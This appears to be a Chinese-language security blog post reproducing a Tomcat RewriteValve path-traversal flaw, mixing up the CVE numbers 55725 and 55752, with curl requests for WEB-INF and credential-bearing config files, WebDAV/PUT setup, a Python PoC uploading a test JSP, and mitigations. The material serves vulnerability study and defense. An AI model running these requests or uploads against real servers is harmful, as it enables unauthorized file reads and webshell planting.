CVE-2025-55725

CVE-2025-55725

_

CVE-2025-55725 概述

Apache Tomcat作为一个开源的Web服务器和Servlet容器,在全球范围内被广泛应用于Java Web应用的部署和运行。其内置的RewriteValve组件是一个服务器端的URL重写引擎,允许开发者通过配置规则动态修改传入请求的URL地址,常用于实现重定向、URL美化或根据特定条件路由请求。2025年10月27日,Apache软件基金会披露了一个存在于RewriteValve组件中的路径遍历漏洞,编号为CVE-2025-55752。该漏洞源于修复历史漏洞CVE-2016-5388(对应Bug60013:https://github.com/apache/tomcat/commit/fec06c610ed7466b401e29cc567a58aee5ed826a)时引入的回归问题,导致攻击者能够绕过安全限制,访问受保护的敏感目录。

背景

  • 披露时间:2025年10月27日,由 Apache Software Foundation 官方公布。
  • 受影响版本:Apache Tomcat 9.0.0.M11 ~ 9.0.108、10.1.0-M1 ~ 10.1.44、11.0.0-M1 ~ 11.0.10(以及部分 8.5 版本)。
  • 严重性:Important(重要级),可能导致远程代码执行(RCE)。

原因

  • 该漏洞源于修复旧 bug(bug 60013)时引入的回归问题
  • 在使用 Rewrite Valve(URL 重写规则)时,Tomcat 会先对 URL 进行规范化(normalization),再进行解码。这导致攻击者可以构造特殊编码的请求 URI(如使用 %2e%2e/ 表示 …/),绕过对敏感目录(如 /WEB-INF/、/META-INF/)的保护,实现目录遍历(path traversal)

危害

  • 攻击者可访问或操作受保护的敏感文件/目录。
  • 如果服务器启用 HTTP PUT 方法(默认通常禁用,但某些配置或 WebDAV 启用时开放),攻击者可通过路径遍历上传恶意文件(如 JSP webshell),进而实现远程代码执行(RCE)
  • 生产环境中 PUT 常受限,因此直接 RCE 概率较低,但结合 WebDAV 等功能时风险大幅提升。易被用于 webshell 植入、服务器接管。

漏洞复现

docker

git clone https://github.com/AuroraSec-Pivot/CVE-2025-55752.git  

cd CVE-2025-55752  

docker-compose up -d

路径遍历:

正常测试:

curl -i "http://localhost:8080/WEB-INF/web.xml"

404

利用Rewrite Valve规则传入参数给download下的path

curl -i "http://localhost:8080/download?path=%2FWEB-INF%2Fweb.xml"


成功访问
注意:此路径遍历只能访问当前web路径下的文件,无法跳出根目录

进一步利用

curl -s "http://172.27.21.193:8080/download?path=%2FWEB-INF%2Fclasses%2Fapplication.properties"
curl -s "http://172.27.21.193:8080/download?path=%2FWEB-INF%2Fclasses%2Fdatabase.yml"

RCE漏洞

前提:conf/web.xml

  • 添加WebDAV Servlet 配置
<!-- 启用 WebDAV Servlet -->  
<servlet>  
    <servlet-name>webdav</servlet-name>  
    <servlet-class>org.apache.catalina.servlets.WebdavServlet</servlet-class>  
  
    <!-- 配置初始化参数 -->  
    <init-param>  
        <param-name>debug</param-name>  
        <param-value>0</param-value>  
    </init-param>  
  
    <init-param>  
        <param-name>listings</param-name>  
        <param-value>true</param-value>  
    </init-param>  
  
    <init-param>  
        <param-name>readonly</param-name>  
        <param-value>false</param-value>  
    </init-param>  
</servlet>  
<!-- 配置 WebDAV URL 映射 -->  
<servlet-mapping>  
    <servlet-name>webdav</servlet-name>  
    <url-pattern>/webdav/*</url-pattern>  
</servlet-mapping>
  • 启用 HTTP PUT 方法
<!-- 检查默认 servlet 配置 -->  
<servlet>  
    <servlet-name>default</servlet-name>  
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>  
    <init-param>  
        <param-name>debug</param-name>  
        <param-value>0</param-value>  
    </init-param>  
    <init-param>  
        <param-name>listings</param-name>  
        <param-value>false</param-value>  
    </init-param>  
    <init-param>  
        <param-name>readonly</param-name>  
        <!-- 确保此值为 false 以启用写入操作 -->  
        <param-value>false</param-value>  
    </init-param>  
</servlet>

访问webdav路径有页面

验证poc

import argparse
import requests
import sys

def check_webdav(target):
    url = f"{target}/webdav/"
    headers = {"Content-Type": "text/xml"}
    try:
        resp = requests.request("PROPFIND", url, timeout=10, headers=headers)
        status = resp.status_code
        if status in (200, 207, 401, 403):
            print(f"[+] WebDAV 可能启用 (HTTP {status})")
            return True
        else:
            print(f"[-] WebDAV 可能未启用 (HTTP {status})")
            return False
    except requests.RequestException as e:
        print(f"[-] 连接错误: {e}")
        return False

def test_path_traversal(target):
    test_filename = "test-cve2025-55725.jsp"
    test_content = '<% out.println("TEST_SUCCESS"); %>'.encode('utf-8')

    # 可能的上传路径(利用 ../ 路径遍历)
    upload_paths = [
        f"/webdav/../{test_filename}",
        f"/webdav/../ROOT/{test_filename}",
        f"/webdav/{test_filename}",
    ]

    # 可能的验证访问路径(文件可能落在不同位置)
    verify_paths = [
        f"/{test_filename}",
        f"/ROOT/{test_filename}",
    ]

    session = requests.Session()
    session.headers.update({"Content-Type": "text/plain"})

    for path in upload_paths:
        upload_url = target + path
        try:
            resp = session.put(upload_url, data=test_content, timeout=10)
            if resp.status_code in (200, 201, 204):
                print(f"[+] 文件上传成功: {path} (HTTP {resp.status_code})")

                # 尝试多个路径验证执行
                for vpath in verify_paths:
                    verify_url = target + vpath
                    try:
                        r = session.get(verify_url, timeout=10)
                        if "TEST_SUCCESS" in r.text:
                            print(f"[+] RCE 验证成功: {verify_url}")
                            return True
                    except requests.RequestException:
                        continue
        except requests.RequestException:
            continue

    return False

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-55725 Tomcat WebDAV 路径遍历检测工具")
    parser.add_argument("-u", "--url", required=True, help="目标URL,例如: http://127.0.0.1:8080")
    args = parser.parse_args()

    target = args.url.rstrip("/")

    print(f"[*] 目标: {target}")
    print("[*] 检查 WebDAV 是否启用...")
    if not check_webdav(target):
        print("[-] 目标可能不受影响(WebDAV 未启用)")
        sys.exit(0)

    print("[*] 测试路径遍历漏洞...")
    if test_path_traversal(target):
        print("\n[!] 目标可能存在 CVE-2025-55725 漏洞!!!")
    else:
        print("\n[-] 目标可能不受影响")

if __name__ == "__main__":
    main()

防护措施

  • 优先升级:立即更新到修复版本:
    • Tomcat 9 → 9.0.109 或更高
    • Tomcat 10 → 10.1.45 或更高
    • Tomcat 11 → 11.0.11 或更高
  • 临时缓解
    • 禁用或严格限制 HTTP PUT/DELETE 方法(在 web.xml 中设置 DefaultServlet 的 readonly=true)。
    • 禁用不必要的 Rewrite Valve 或 WebDAV。
    • 使用 WAF(如 AppTrana、ModSecurity)阻挡异常路径遍历请求。
    • 监控日志,扫描暴露的 Tomcat 实例。
  • 其他建议:避免在生产环境启用写权限功能,仅在隔离测试环境中复现漏洞。
CVE-2025-55182的复现与修复 2026-01-09
Fastjson反序列化漏洞(1.2.24版本) 2026-01-09

评论区